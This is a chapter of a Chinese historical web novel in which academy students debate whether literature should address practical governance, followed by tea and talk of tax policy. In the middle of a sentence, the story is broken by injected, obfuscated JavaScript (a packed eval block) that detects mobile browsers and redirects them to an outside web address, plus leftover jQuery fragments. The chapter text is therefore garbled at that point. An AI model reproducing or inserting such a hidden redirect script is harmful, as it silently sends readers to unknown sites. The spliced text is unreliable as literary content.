省学每旬有一次“文会”，由生员自发组织，讨论文章、交流心得。这日的文会在明伦堂旁的“集思轩”举行，主题是“文章之功用”。


    轩内坐了二三十人，多是热衷文墨的生员。主持的是个江宁本地老生员，开场便引了韩愈“文以载道”的名言，定下基调：“文章者，经国之大业，不朽之盛事。其要在载圣贤之道，传千古之义。”


    几个生员相继发言，都围绕着“道统”“义理”“风教”展开。孙文远也在场，说了番“文章当有台阁气象，方显士人风骨”的话，引得不少人点头。


    林湛坐在后排，静静听着。沈千机凑过来低声道：“听这意思，今天是要唱高调了。”


    果然，轮到一个吴州来的生员发言时，他起身便道：“学生以为，文章之至高境界，在‘澄怀观道’。如陶渊明之《归去来兮》，王摩诘之山水诗，皆超然物外，得其神韵。至于钱谷兵刑、民生利弊，乃胥吏之事，非文章所宜涉。”


    这话说得文雅，但意思很明白：文章就该清高，谈实务就俗了。


    堂内一片赞同之声。孙文远更是拊掌道：“李兄此言，深得我心！”


    那姓李的生员——正是那日与林湛讨论《易》理的李慕白——微笑着坐下，目光却看向林湛，似乎想听听他的看法。


    主持的老生员也看向林湛：“永清林生，你有何见解？”


    林湛起身，先向李慕白拱了拱手：“李兄高论，学生佩服。不过……”


    他顿了顿，声音清晰：“学生愚见，文章固然可以‘澄怀观道’，但若只止于此，恐失其根本。”


    堂内安静下来。李慕白挑了挑眉，露出感兴趣的神色。


    “韩昌黎言‘文以载道’，此‘道’为何？”林湛环视众人，“若是玄虚空泛之理，与世无关之道，载之何益？夫子编《诗》，存‘风’‘雅’‘颂’，其中《风》多写民间疾苦、男女之情，此岂非‘俗务’？然正因这些‘俗务’，后人方能窥见当时世情。”


    他语气平和，但句句都在反驳“文章不宜涉实务”的观点。


    孙文远忍不住插话：“林兄此言差矣！《诗经》乃圣人删定，岂是寻常文章可比？且‘风’虽有民间之事，终归于‘温柔敦厚’之教，非为言利计功。”


    “孙兄说得对，《诗》有教化之功。”林湛点头，“然教化不能空悬。若文章只谈玄理，不问民生，百姓饥寒不相知，吏治腐败不相察，这样的‘道’，如何教化天下？”


    他转向李慕白：“李兄方才举陶渊明、王摩诘为例。学生也爱读陶王，然陶渊明‘种豆南山下’，王摩诘‘倚杖柴门外’，诗中皆有生活实处。若无这些‘实处’，其超然之境又从何依托？”


    李慕白沉吟道：“林兄之意是，文章需有‘实处’，方能承载‘虚境’？”


    “正是。”林湛道，“文章如树，根须扎在现实泥土中，枝叶方能伸向理想天空。若根须不存，枝叶再美，终是瓶中花、无根萍。”


    这个比喻形象，不少人都露出思索之色。


    孙文远却不服：“照林兄所言，文章岂非要整日谈论钱谷赋税、修渠筑路？那与胥吏文书何异？文章之美、之雅何在？”


    “孙兄误会了。”林湛从容道，“学生并非说文章只能谈实务，而是说，真正的‘大文章’，当能将‘道’与‘事’、‘雅’与‘俗’融为一体。譬如范文正公《岳阳楼记》，既有‘先天下之忧而忧’的大道，也有‘朝晖夕阴，气象万千’的实景；欧阳永叔《朋党论》，既论君子小人之辨，亦指当时朝政之弊。这样的文章，才是真文章。”


    他连举两例，都是公认的千古名文，而且确实都关乎时政实务。堂内一时无人反驳。


    李慕白眼睛越来越亮，忽然起身：“林兄所言，令在下茅塞顿开。然则，如何把握这‘道’与‘事’、‘雅’与‘俗’的界限？过实则俗，过虚则空，这其中的分寸，实在难拿。”


    他这是真心求教了，语气诚恳。


    林湛想了想：“学生以为，关键在‘关切’二字。文章所写，无论是山水田园，还是民生利弊，都需作者真心关切。有关切，则笔下自有温度；有温度，则无论写什么，都能动人。若无关切，便是写春花秋月，也是冷字堆砌；便是论军国大事，也是空话连篇。”


    这番话把文章好坏的标准，从“写什么”转移到了“为何写”“如何写”上，跳出了传统争论。


    堂内静了片刻。主持的老生员轻叹：“林生此言，倒是另辟蹊径。”


    孙文远还想说什么，但看看众人神色，终究没开口。


    李慕白却已走到林湛面前，郑重一礼：“听君一席话，胜读十年书。慕白受教了。”


    林湛忙还礼：“李兄言重，互相切磋而已。”


    文会结束后，众人三三两两散去。李慕白主动邀林湛同行：“林兄若不嫌弃，去我斋舍喝杯茶？我那里有些家父收藏的旧文，或可共赏。”


    沈千机在一旁挤眉弄眼，用口型说“去啊去啊”。


    林湛笑着应下。几人便往李慕白的斋舍去——他住在西头，环境更清幽些。


    李慕白的斋舍果然不同。书架上除了经史，还有不少诗集、文集，甚至有几本罕见的刻本。他泡了茶，取出一卷旧稿：“这是家祖当年在户部时写的《漕运利弊疏》，林兄看看。”


    林湛展开细读，这篇奏疏详细分析了漕运的种种问题，并提出改良之法，虽时隔数十年，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199958|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但许多见解至今仍有价值。


    “令祖是真懂实务的。”林湛赞叹。


    李慕白苦笑：“是啊。可家祖也因此得罪不少人，最后只得告老还乡。他常对我说，文章写得好不如事情办得好，可事情办好了，文章反而难写了。”


    这话里透着无奈。林湛深有同感：“所以学生才说，真正的文章，难就难在既要明道，又要务实；既要写好，更要做实。”


    两人越聊越投机，从文章谈到朝政，从经典谈到时务。沈千机、王砚之、周文渊也加入讨论，铁柱虽听不太懂，但也坐在一旁认真听着。


    窗外天色渐暗，李慕白点了灯，昏黄的光晕笼罩着小小的斋舍。茶续了又续，话题一个接一个。


    最后说到当下的江南赋税之争，李慕白神色凝重：“家中有长辈在朝，来信说此事争议极大。加税备战看似有理，可江南这些年并不太平，若再加赋，恐生民变。”


    王砚之点头：“家父也忧心此事。可北疆形势紧迫，军费短缺，也是实情。”


    林湛沉吟：“或许……不该只想着‘加不加’，而该想想‘怎么加’‘加在哪儿’。比如，可否清查田亩，让隐匿田产的大户多担些？可否整顿商税，让真正获利者多出些？若一味按旧册摊派，苦的还是小民。”


    这话切中要害。李慕白眼睛一亮：“林兄说到点子上了！可惜朝中诸公，多半不愿触碰这些难处……”


    谈话直到夜深。离开时，李慕白送至院门，郑重道：“今日得识林兄，实为幸事。往后还望多多指教。”


    “彼此彼此。”


    走在回斋舍的路上，沈千机笑道：“这李慕白，倒是个明白人。他家家世好，却不摆架子，难得。”


    王砚之也道：“吴州李家，素有清名。看来传言不虚。”


    周文渊则默默记着：“李慕白，重实务而不废文章，可引为同道。”


    铁柱打了个哈欠：“你们说的那些我都听晕了……不过那个李公子，人挺好的，还请咱们喝茶。”


    秋夜的凉风吹过，带着远处秦淮河隐约的乐声。省学的灯笼在廊下摇晃，投下晃动的光影。


    回到斋舍时，对门的门缝里透出灯光，孙文远似乎还没睡。林湛推门进屋，点亮蜡烛。桌上还摊着下午未写完的功课，墨迹已干。


    他提起笔，却一时没有落下。今日这场辩论，这些交谈，像在平静的水面投下了石子，涟漪正一圈圈荡开。


    窗外传来打更的梆子声，二更了。更夫苍老的嗓音在巷弄间回荡：“天干物燥——小心火烛——”


    那声音悠长，慢慢融进深秋的夜色里。远处藏书楼的轮廓在星空中沉默着，像一个巨大的问号，悬在江宁城的上空。